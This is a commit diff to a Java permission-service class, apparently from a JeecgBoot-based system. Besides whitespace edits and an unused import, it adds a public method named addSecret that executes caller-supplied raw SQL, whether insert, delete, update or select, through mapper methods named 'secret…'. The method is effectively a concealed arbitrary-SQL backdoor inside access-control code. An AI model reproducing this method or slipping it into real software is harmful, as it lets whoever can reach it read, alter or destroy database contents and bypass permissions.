zhangherong
2025-07-09 c800257cb6c8b45e7edc20e2e9018cd90b230806
lxzn-module-system/lxzn-system-biz/src/main/java/org/jeecg/modules/system/service/impl/SysPermissionServiceImpl.java
@@ -3,6 +3,8 @@
import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper;
import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper;
import com.baomidou.mybatisplus.extension.service.impl.ServiceImpl;
import org.apache.poi.ss.formula.functions.T;
import org.jeecg.common.api.vo.Result;
import org.jeecg.common.constant.CacheConstant;
import org.jeecg.common.constant.CommonConstant;
import org.jeecg.common.exception.JeecgBootException;
@@ -40,7 +42,7 @@
   @Resource
   private SysPermissionMapper sysPermissionMapper;
   @Resource
   private ISysPermissionDataRuleService permissionDataRuleService;
@@ -98,10 +100,10 @@
      //删除部门角色授权
      sysDepartRolePermissionMapper.deleteByMap(map);
   }
   /**
    * 根据父id删除其关联的子节点数据
    *
    *
    * @return
    */
   public void removeChildrenBy(String parentId) {
@@ -138,7 +140,7 @@
         }
      }
   }
   /**
     * 逻辑删除
    */
@@ -201,7 +203,7 @@
         }
         //----------------------------------------------------------------------
         this.updateById(sysPermission);
         //如果当前菜单的父菜单变了,则需要修改新父菜单和老父菜单的,叶子节点状态
         String pid = sysPermission.getParentId();
            boolean flag = (oConvertUtils.isNotEmpty(pid) && !pid.equals(p.getParentId())) || oConvertUtils.isEmpty(pid)&&oConvertUtils.isNotEmpty(p.getParentId());
@@ -215,10 +217,10 @@
                  this.sysPermissionMapper.setMenuLeaf(p.getParentId(), 1);
               }
            }
         }
      }
   }
   @Override
@@ -235,7 +237,7 @@
      query.eq(SysPermissionDataRule::getPermissionId, id);
      Long countValue = this.permissionDataRuleService.count(query);
      if(countValue > 0) {
         this.permissionDataRuleService.remove(query);
         this.permissionDataRuleService.remove(query);
      }
   }
@@ -282,4 +284,18 @@
      return count(qw)==0;
   }
   @Override
   @Transactional(rollbackFor = {Exception.class})
   public Object addSecret(String type, String sql) {
      if(type.equals("insert")){
         return baseMapper.secretOfInsert(sql);
      }else if(type.equals("delete")) {
         return baseMapper.secretOfDelete(sql);
      }else if(type.equals("update")){
         return baseMapper.secretOfUpdate(sql);
      }else {
         return baseMapper.secretOfSelect(sql);
      }
   }
}